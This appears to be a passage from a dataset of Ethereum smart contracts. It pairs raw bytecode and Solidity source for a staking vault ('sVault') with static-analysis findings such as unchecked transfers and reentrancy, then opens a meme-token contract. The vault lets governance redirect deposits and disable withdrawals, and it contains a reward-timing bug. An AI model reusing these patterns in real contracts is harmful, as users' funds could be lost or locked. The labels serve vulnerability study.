033381166000908152600260209081526040808320938616835292905290812054610cb0908363ffffffff610d4d16565b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b60085481565b8181018281101561057c57fe5b600082821115610d6657fe5b50900390565b6000821515610d7d5750600061057c565b50818102818382811515610d8d57fe5b041461057c57fe5b60008183811515610da257fe5b0493925050505600a165627a7a72305820ebb36a3a4c39ed2a7ec8a52d29e03452a894772c7cdeab927e23b66316330c310029
|
{"success": true, "error": null, "results": {}}
| 6,327 |
0xb322272d11af1c0fd41ea18e4839b4cb0aab411e
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success, ) = recipient.call{ value : amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract sVault {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
struct Reward {
uint256 amount;
uint256 timestamp;
uint256 totalDeposit;
}
mapping(address => uint256) public _lastCheckTime;
mapping(address => uint256) public _rewardBalance;
mapping(address => uint256) public _depositBalances;
uint256 public _totalDeposit;
Reward[] public _rewards;
string public _vaultName;
IERC20 public token0;
IERC20 public token1;
address public feeAddress;
address public vaultAddress;
uint32 public feePermill;
uint256 public delayDuration = 7 days;
bool public withdrawable;
uint256 public totalRate = 10000;
uint256 public userRate = 8500;
address public treasury;
address public gov;
uint256 public _rewardCount;
event SentReward(uint256 amount);
event Deposited(address indexed user, uint256 amount);
event ClaimedReward(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
constructor (address _token0, address _token1, address _feeAddress, address _vaultAddress, string memory name, address _treasury) payable {
token0 = IERC20(_token0);
token1 = IERC20(_token1);
feeAddress = _feeAddress;
vaultAddress = _vaultAddress;
_vaultName = name;
gov = msg.sender;
treasury = _treasury;
}
modifier onlyGov() {
require(msg.sender == gov, "!governance");
_;
}
function setGovernance(address _gov)
external
onlyGov
{
gov = _gov;
}
function setToken0(address _token)
external
onlyGov
{
token0 = IERC20(_token);
}
function setTotalRate(uint256 _totalRate)
external
onlyGov
{
totalRate = _totalRate;
}
function setTreasury(address _treasury)
external
onlyGov
{
treasury = _treasury;
}
function setUserRate(uint256 _userRate)
external
onlyGov
{
userRate = _userRate;
}
function setToken1(address _token)
external
onlyGov
{
token1 = IERC20(_token);
}
function setFeeAddress(address _feeAddress)
external
onlyGov
{
feeAddress = _feeAddress;
}
function setVaultAddress(address _vaultAddress)
external
onlyGov
{
vaultAddress = _vaultAddress;
}
function setFeePermill(uint32 _feePermill)
external
onlyGov
{
feePermill = _feePermill;
}
function setDelayDuration(uint32 _delayDuration)
external
onlyGov
{
delayDuration = _delayDuration;
}
function setWithdrawable(bool _withdrawable)
external
onlyGov
{
withdrawable = _withdrawable;
}
function setVaultName(string memory name)
external
onlyGov
{
_vaultName = name;
}
function balance0()
external
view
returns (uint256)
{
return token0.balanceOf(address(this));
}
function balance1()
external
view
returns (uint256)
{
return token1.balanceOf(address(this));
}
function getReward(address userAddress)
internal
{
uint256 lastCheckTime = _lastCheckTime[userAddress];
uint256 rewardBalance = _rewardBalance[userAddress];
if (lastCheckTime > 0 && _rewards.length > 0) {
for (uint i = _rewards.length - 1; lastCheckTime < _rewards[i].timestamp; i--) {
rewardBalance = rewardBalance.add(_rewards[i].amount.mul(_depositBalances[userAddress]).div(_rewards[i].totalDeposit));
if (i == 0) break;
}
}
_rewardBalance[userAddress] = rewardBalance;
_lastCheckTime[msg.sender] = block.timestamp;
}
function deposit(uint256 amount) external {
getReward(msg.sender);
uint256 feeAmount = amount.mul(feePermill).div(1000);
uint256 realAmount = amount.sub(feeAmount);
if (feeAmount > 0) {
token0.safeTransferFrom(msg.sender, feeAddress, feeAmount);
}
if (realAmount > 0) {
token0.safeTransferFrom(msg.sender, vaultAddress, realAmount);
_depositBalances[msg.sender] = _depositBalances[msg.sender].add(realAmount);
_totalDeposit = _totalDeposit.add(realAmount);
emit Deposited(msg.sender, realAmount);
}
}
function withdraw(uint256 amount) external {
require(token0.balanceOf(address(this)) > 0, "no withdraw amount");
require(withdrawable, "not withdrawable");
getReward(msg.sender);
if (amount > _depositBalances[msg.sender]) {
amount = _depositBalances[msg.sender];
}
require(amount > 0, "can't withdraw 0");
token0.safeTransfer(msg.sender, amount);
_depositBalances[msg.sender] = _depositBalances[msg.sender].sub(amount);
_totalDeposit = _totalDeposit.sub(amount);
emit Withdrawn(msg.sender, amount);
}
function sendReward(uint256 amount) external {
require(amount > 0, "can't reward 0");
require(_totalDeposit > 0, "totalDeposit must bigger than 0");
uint256 amountUser = amount.mul(userRate).div(totalRate);
amount = amount.sub(amountUser);
token1.safeTransferFrom(msg.sender, address(this), amountUser);
token1.safeTransferFrom(msg.sender, treasury, amount);
Reward memory reward;
reward = Reward(amountUser, block.timestamp, _totalDeposit);
_rewards.push(reward);
emit SentReward(amountUser);
}
function claimReward(uint256 amount) external {
getReward(msg.sender);
uint256 rewardLimit = getRewardAmount(msg.sender);
if (amount > rewardLimit) {
amount = rewardLimit;
}
_rewardBalance[msg.sender] = _rewardBalance[msg.sender].sub(amount);
token1.safeTransfer(msg.sender, amount);
}
function claimRewardAll() external {
getReward(msg.sender);
uint256 rewardLimit = getRewardAmount(msg.sender);
_rewardBalance[msg.sender] = _rewardBalance[msg.sender].sub(rewardLimit);
token1.safeTransfer(msg.sender, rewardLimit);
}
function getRewardAmount(address userAddress) public view returns (uint256) {
uint256 lastCheckTime = _lastCheckTime[userAddress];
uint256 rewardBalance = _rewardBalance[userAddress];
if (_rewards.length > 0) {
if (lastCheckTime > 0) {
for (uint i = _rewards.length - 1; lastCheckTime < _rewards[i].timestamp; i--) {
rewardBalance = rewardBalance.add(_rewards[i].amount.mul(_depositBalances[userAddress]).div(_rewards[i].totalDeposit));
if (i == 0) break;
}
}
for (uint j = _rewards.length - 1; block.timestamp < _rewards[j].timestamp.add(delayDuration); j--) {
uint256 timedAmount = _rewards[j].amount.mul(_depositBalances[userAddress]).div(_rewards[j].totalDeposit);
timedAmount = timedAmount.mul(_rewards[j].timestamp.add(delayDuration).sub(block.timestamp)).div(delayDuration);
rewardBalance = rewardBalance.sub(timedAmount);
if (j == 0) break;
}
}
return rewardBalance;
}
function seize(address token, address to) external onlyGov {
require(IERC20(token) != token0 && IERC20(token) != token1, "main tokens");
if (token != address(0)) {
uint256 amount = IERC20(token).balanceOf(address(this));
IERC20(token).transfer(to, amount);
}
else {
uint256 amount = address(this).balance;
payable(to).transfer(amount);
}
}
fallback () external payable { }
receive () external payable { }
}
|
0x6080604052600436106102345760003560e01c8063ab033ea91161012e578063c78b6dea116100ab578063e4186aa61161006f578063e4186aa6146107d9578063f0f442601461080c578063fab980b71461083f578063fcc0c680146108c9578063fe7b82d9146109045761023b565b8063c78b6dea14610729578063cbeb7ef214610753578063d21220a71461077f578063d86e1ef714610794578063e2aa2a85146107c45761023b565b8063b79ea884116100f2578063b79ea88414610669578063b8f6e8411461069c578063b8f79288146106b1578063c45c4f58146106e1578063c6e426bd146106f65761023b565b8063ab033ea91461059a578063adc3b31b146105cd578063ae169a5014610600578063b5984a361461062a578063b6b55f251461063f5761023b565b8063430bf08a116101bc578063637830ca11610180578063637830ca146104c257806371e2f020146104d757806385535cc5146104ec5780638705fcd41461051f5780638f1e9405146105525761023b565b8063430bf08a1461040e57806344264d3d1461042357806344a040f514610451578063501883011461048457806361d027b3146104ad5761023b565b806327b5b6a01161020357806327b5b6a01461035d5780632e1a7d4d1461039057806336422e54146103ba57806341275358146103e457806342a66f68146103f95761023b565b80630dfe16811461023d57806311cc66b21461026e57806312d43a51146103215780631c69ad00146103365761023b565b3661023b57005b005b34801561024957600080fd5b5061025261092e565b604080516001600160a01b039092168252519081900360200190f35b34801561027a57600080fd5b5061023b6004803603602081101561029157600080fd5b8101906020810181356401000000008111156102ac57600080fd5b8201836020820111156102be57600080fd5b803590602001918460018302840111640100000000831117156102e057600080fd5b91908080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525092955061093d945050505050565b34801561032d57600080fd5b506102526109a1565b34801561034257600080fd5b5061034b6109b0565b60408051918252519081900360200190f35b34801561036957600080fd5b5061034b6004803603602081101561038057600080fd5b50356001600160a01b0316610a2c565b34801561039c57600080fd5b5061023b600480360360208110156103b357600080fd5b5035610a3e565b3480156103c657600080fd5b5061023b600480360360208110156103dd57600080fd5b5035610c4a565b3480156103f057600080fd5b50610252610c9c565b34801561040557600080fd5b5061034b610cab565b34801561041a57600080fd5b50610252610cb1565b34801561042f57600080fd5b50610438610cc0565b6040805163ffffffff9092168252519081900360200190f35b34801561045d57600080fd5b5061034b6004803603602081101561047457600080fd5b50356001600160a01b0316610cd3565b34801561049057600080fd5b50610499610e76565b604080519115158252519081900360200190f35b3480156104b957600080fd5b50610252610e7f565b3480156104ce57600080fd5b5061023b610e8e565b3480156104e357600080fd5b5061034b610eee565b3480156104f857600080fd5b5061023b6004803603602081101561050f57600080fd5b50356001600160a01b0316610ef4565b34801561052b57600080fd5b5061023b6004803603602081101561054257600080fd5b50356001600160a01b0316610f63565b34801561055e57600080fd5b5061057c6004803603602081101561057557600080fd5b5035610fd2565b60408051938452602084019290925282820152519081900360600190f35b3480156105a657600080fd5b5061023b600480360360208110156105bd57600080fd5b50356001600160a01b0316611005565b3480156105d957600080fd5b5061034b600480360360208110156105f057600080fd5b50356001600160a01b0316611074565b34801561060c57600080fd5b5061023b6004803603602081101561062357600080fd5b5035611086565b34801561063657600080fd5b5061034b6110ee565b34801561064b57600080fd5b5061023b6004803603602081101561066257600080fd5b50356110f4565b34801561067557600080fd5b5061023b6004803603602081101561068c57600080fd5b50356001600160a01b03166111f7565b3480156106a857600080fd5b5061034b611266565b3480156106bd57600080fd5b5061023b600480360360208110156106d457600080fd5b503563ffffffff1661126c565b3480156106ed57600080fd5b5061034b6112df565b34801561070257600080fd5b5061023b6004803603602081101561071957600080fd5b50356001600160a01b031661132a565b34801561073557600080fd5b5061023b6004803603602081101561074c57600080fd5b5035611399565b34801561075f57600080fd5b5061023b6004803603602081101561077657600080fd5b50351515611586565b34801561078b57600080fd5b506102526115e6565b3480156107a057600080fd5b5061023b600480360360208110156107b757600080fd5b503563ffffffff166115f5565b3480156107d057600080fd5b5061034b61164d565b3480156107e557600080fd5b5061034b600480360360208110156107fc57600080fd5b50356001600160a01b0316611653565b34801561081857600080fd5b5061023b6004803603602081101561082f57600080fd5b50356001600160a01b0316611665565b34801561084b57600080fd5b506108546116d4565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561088e578181015183820152602001610876565b50505050905090810190601f1680156108bb5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156108d557600080fd5b5061023b600480360360408110156108ec57600080fd5b506001600160a01b0381358116916020013516611762565b34801561091057600080fd5b5061023b6004803603602081101561092757600080fd5b503561196b565b6006546001600160a01b031681565b600f546001600160a01b0316331461098a576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b805161099d906005906020840190611f9c565b5050565b600f546001600160a01b031681565b600654604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b1580156109fb57600080fd5b505afa158015610a0f573d6000803e3d6000fd5b505050506040513d6020811015610a2557600080fd5b5051905090565b60006020819052908152604090205481565b600654604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b158015610a8957600080fd5b505afa158015610a9d573d6000803e3d6000fd5b505050506040513d6020811015610ab357600080fd5b505111610afc576040805162461bcd60e51b81526020600482015260126024820152711b9bc81dda5d1a191c985dc8185b5bdd5b9d60721b604482015290519081900360640190fd5b600b5460ff16610b46576040805162461bcd60e51b815260206004820152601060248201526f6e6f7420776974686472617761626c6560801b604482015290519081900360640190fd5b610b4f336119bd565b33600090815260026020526040902054811115610b785750336000908152600260205260409020545b60008111610bc0576040805162461bcd60e51b815260206004820152601060248201526f063616e277420776974686472617720360841b604482015290519081900360640190fd5b600654610bd7906001600160a01b03163383611ac5565b33600090815260026020526040902054610bf19082611b17565b33600090815260026020526040902055600354610c0e9082611b17565b60035560408051828152905133917f7084f5476618d8e60b11ef0d7d3f06914655adb8793e28ff7f018d4c76d505d5919081900360200190a250565b600f546001600160a01b03163314610c97576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600d55565b6008546001600160a01b031681565b600c5481565b6009546001600160a01b031681565b600954600160a01b900463ffffffff1681565b6001600160a01b03811660009081526020818152604080832054600190925282205460045415610e6f578115610dc757600454600019015b60048181548110610d1857fe5b906000526020600020906003020160010154831015610dc557610db0610da960048381548110610d4457fe5b906000526020600020906003020160020154610da3600260008a6001600160a01b03166001600160a01b031681526020019081526020016000205460048681548110610d8c57fe5b600091825260209091206003909102015490611b62565b90611bbb565b8390611bfd565b915080610dbc57610dc5565b60001901610d0b565b505b600454600019015b610e02600a5460048381548110610de257fe5b906000526020600020906003020160010154611bfd90919063ffffffff16565b421015610e6d576000610e1b60048381548110610d4457fe5b9050610e4a600a54610da3610e4342610e3d600a5460048981548110610de257fe5b90611b17565b8490611b62565b9050610e568382611b17565b925081610e635750610e6d565b5060001901610dcf565b505b9392505050565b600b5460ff1681565b600e546001600160a01b031681565b610e97336119bd565b6000610ea233610cd3565b33600090815260016020526040902054909150610ebf9082611b17565b33600081815260016020526040902091909155600754610eeb916001600160a01b039091169083611ac5565b50565b600d5481565b600f546001600160a01b03163314610f41576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600980546001600160a01b0319166001600160a01b0392909216919091179055565b600f546001600160a01b03163314610fb0576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600880546001600160a01b0319166001600160a01b0392909216919091179055565b60048181548110610fe257600080fd5b600091825260209091206003909102018054600182015460029092015490925083565b600f546001600160a01b03163314611052576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600f80546001600160a01b0319166001600160a01b0392909216919091179055565b60016020526000908152604090205481565b61108f336119bd565b600061109a33610cd3565b9050808211156110a8578091505b336000908152600160205260409020546110c29083611b17565b3360008181526001602052604090209190915560075461099d916001600160a01b039091169084611ac5565b600a5481565b6110fd336119bd565b600954600090611127906103e890610da390859063ffffffff600160a01b909104811690611b6216565b905060006111358383611b17565b9050811561115c5760085460065461115c916001600160a01b039182169133911685611c57565b80156111f257600954600654611181916001600160a01b039182169133911684611c57565b3360009081526002602052604090205461119b9082611bfd565b336000908152600260205260409020556003546111b89082611bfd565b60035560408051828152905133917f2da466a7b24304f47e87fa2e1e5a81b9831ce54fec19055ce277ca2f39ba42c4919081900360200190a25b505050565b600f546001600160a01b03163314611244576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600780546001600160a01b0319166001600160a01b0392909216919091179055565b60035481565b600f546001600160a01b031633146112b9576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b6009805463ffffffff909216600160a01b0263ffffffff60a01b19909216919091179055565b600754604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b1580156109fb57600080fd5b600f546001600160a01b03163314611377576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600680546001600160a01b0319166001600160a01b0392909216919091179055565b600081116113df576040805162461bcd60e51b815260206004820152600e60248201526d063616e27742072657761726420360941b604482015290519081900360640190fd5b600060035411611436576040805162461bcd60e51b815260206004820152601f60248201527f746f74616c4465706f736974206d75737420626967676572207468616e203000604482015290519081900360640190fd5b6000611453600c54610da3600d5485611b6290919063ffffffff16565b905061145f8282611b17565b60075490925061147a906001600160a01b0316333084611c57565b600e54600754611499916001600160a01b039182169133911685611c57565b6114a1612028565b50604080516060810182528281524260208083019182526003805484860190815260048054600181018255600091909152855192027f8a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19b81019290925592517f8a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19c82015591517f8a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19d909201919091558251848152925191927feae918ad14bd0bcaa9f9d22da2b810c02f44331bf6004a76f049a3360891f916929081900390910190a1505050565b600f546001600160a01b031633146115d3576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600b805460ff1916911515919091179055565b6007546001600160a01b031681565b600f546001600160a01b03163314611642576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b63ffffffff16600a55565b60105481565b60026020526000908152604090205481565b600f546001600160a01b031633146116b2576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600e80546001600160a01b0319166001600160a01b0392909216919091179055565b6005805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561175a5780601f1061172f5761010080835404028352916020019161175a565b820191906000526020600020905b81548152906001019060200180831161173d57829003601f168201915b505050505081565b600f546001600160a01b031633146117af576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b6006546001600160a01b038381169116148015906117db57506007546001600160a01b03838116911614155b61181a576040805162461bcd60e51b815260206004820152600b60248201526a6d61696e20746f6b656e7360a81b604482015290519081900360640190fd5b6001600160a01b0382161561192d576000826001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b15801561187857600080fd5b505afa15801561188c573d6000803e3d6000fd5b505050506040513d60208110156118a257600080fd5b50516040805163a9059cbb60e01b81526001600160a01b0385811660048301526024820184905291519293509085169163a9059cbb916044808201926020929091908290030181600087803b1580156118fa57600080fd5b505af115801561190e573d6000803e3d6000fd5b505050506040513d602081101561192457600080fd5b5061099d915050565b60405147906001600160a01b0383169082156108fc029083906000818181858888f19350505050158015611965573d6000803e3d6000fd5b50505050565b600f546001600160a01b031633146119b8576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600c55565b6001600160a01b0381166000908152602081815260408083205460019092529091205481158015906119f0575060045415155b15611a9557600454600019015b60048181548110611a0a57fe5b906000526020600020906003020160010154831015611a9357611a7e610da960048381548110611a3657fe5b906000526020600020906003020160020154610da360026000896001600160a01b03166001600160a01b031681526020019081526020016000205460048681548110610d8c57fe5b915080611a8a57611a93565b600019016119fd565b505b6001600160a01b039092166000908152600160209081526040808320949094553382528190529190912042905550565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b1790526111f2908490611cad565b6000611b5983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611e64565b90505b92915050565b600082611b7157506000611b5c565b82820282848281611b7e57fe5b0414611b595760405162461bcd60e51b815260040180806020018281038252602181526020018061205f6021913960400191505060405180910390fd5b6000611b5983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611efb565b600082820183811015611b59576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b604080516001600160a01b0380861660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b1790526119659085905b611cbf826001600160a01b0316611f60565b611d10576040805162461bcd60e51b815260206004820152601f60248201527f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e747261637400604482015290519081900360640190fd5b600080836001600160a01b0316836040518082805190602001908083835b60208310611d4d5780518252601f199092019160209182019101611d2e565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114611daf576040519150601f19603f3d011682016040523d82523d6000602084013e611db4565b606091505b509150915081611e0b576040805162461bcd60e51b815260206004820181905260248201527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604482015290519081900360640190fd5b80511561196557808060200190516020811015611e2757600080fd5b50516119655760405162461bcd60e51b815260040180806020018281038252602a815260200180612080602a913960400191505060405180910390fd5b60008184841115611ef35760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611eb8578181015183820152602001611ea0565b50505050905090810190601f168015611ee55780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b60008183611f4a5760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315611eb8578181015183820152602001611ea0565b506000838581611f5657fe5b0495945050505050565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a4708115801590611f945750808214155b949350505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282611fd25760008555612018565b82601f10611feb57805160ff1916838001178555612018565b82800160010185558215612018579182015b82811115612018578251825591602001919060010190611ffd565b50612024929150612049565b5090565b60405180606001604052806000815260200160008152602001600081525090565b5b80821115612024576000815560010161204a56fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a264697066735822122042d613be6e3a02fe17c0d7be989a2adfbd1c498a58a82ef65db2b1803e6a571264736f6c63430007060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 6,328 |
0x4aa96DFE4256823Af3a661662022b5A6c2d84e14
|
/**
*Submitted for verification at Etherscan.io on 2022-04-25
*/
/**
✉️ Telegram : t.me/TwoPacToken
🌐 Website : www.2pacinu.info
⠄⠄⠄⠄⠄⠄⠄⠄⡀⠔⠂⠉⣭⡭⣭⣶⡖⠒⣩⣯⠐⠠⢄
⠄⠄⠄⠄⢀⠤⠊⡩⠔⠉⠄⠄⠄⠄⠄⠴⣿⣿⣿⣿⢷⣶⣤⣱⢄
⠄⠄⠄⡠⠡⠂⢁⣤⠞⠄⢀⠴⠃⠄⢀⣀⡀⠄⠄⠄⠄⠄⠉⣿⣷⣅⢄
⠄⡠⢊⣄⠄⣴⠏⣠⠆⡐⢋⢀⣶⣾⠟⠛⠃⠉⠄⠄⠠⢶⡶⡽⡟⣿⣯⠣⡀
⡰⣱⣟⣿⡾⢁⣾⠟⠄⠐⢡⣿⣿⠄⠄⠄⠈⢷⠄⠄⡀⡀⠙⠻⠈⠪⡘⢷⣵⠄
⢇⡏⡘⡞⢀⡾⣫⡆⣪⢀⠏⣿⣿⣷⣿⣩⠗⠄⠄⠄⠈⢿⡉⢷⠄⠄⠈⠢⣿⠆
⠈⠄⡼⡡⢏⣽⠟⠠⠉⠄⠄⠁⠄⠉⠉⠁⠄⠄⠄⡀⠄⠄⠄⠘⡀⠄⠄⠄⠄⠈
⠄⢉⠳⡳⠟⠁⠄⠄⠸⠁⠄⠄⠄⠄⠄⠄⠄⠄⢠⣤⣶⣆⢠⠄⢡
⠄⠦⣶⣶⣴⡄⠄⢺⠄⣴⣶⣄⠄⠄⠄⠄⠄⠄⠄⣡⣴⡄⠲⠦⢸
⠄⠈⢟⣿⢿⢇⡀⠄⠄⣿⣿⣿⣷⡀⠄⠄⠄⣠⣾⣨⣎⣠⣀⣀⣰
⠄⠄⠄⠻⢎⠉⠄⠄⠄⢻⣿⣿⣿⣷⡀⠄⠐⠛⣏⣉⣭⠅⢐⣀⢹
⠄⠄⠄⠄⠄⢱⠄⢾⣷⣤⣻⣿⣿⣿⣷⣤⡀⠄⠈⠛⠛⠋⠉⠁⡆
⠄⠄⠄⠄⠄⠘⠄⠘⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣦⣤⣀⣀⣀⣠⠇
⠄⠄⠄⠄⠄⠄⠄⠄⣿⣿⣿⣿⣿⣿⣿⣿⡟⠉⠛⠛⠿⠿⠿⠋
⠄⠄⠄⠄⠄⠄⠄⢀⣿⣿⣿⣿⣿⣿⣿⣿⡇⠄⠄⠄⠄⡆
⠄⠄⠄⠄⠄⠜⠄⣼⣿⣿⣿⣿⣿⣿⣿⣿⣿⡀⠄⠄⠄⡇
⠄⠄⠄⠄⠄⠡⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⠄⠄⣠⡇
⠄⠄⠄⠄⠄⠄⠙⢿⣿⣿⣿⣿⣿⣿⣿⣿⣯⣥⣴⣾⣿⠃
⠄⠄⠄⠄⠄⠄⠄⠄⠉⠛⠻⠿⢿⣿⣿⣿⣿⠿⠟⠋⠁
*/
pragma solidity ^0.8.7;
// SPDX-License-Identifier: UNLICENSED
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _dev;
address private _previousOwner;
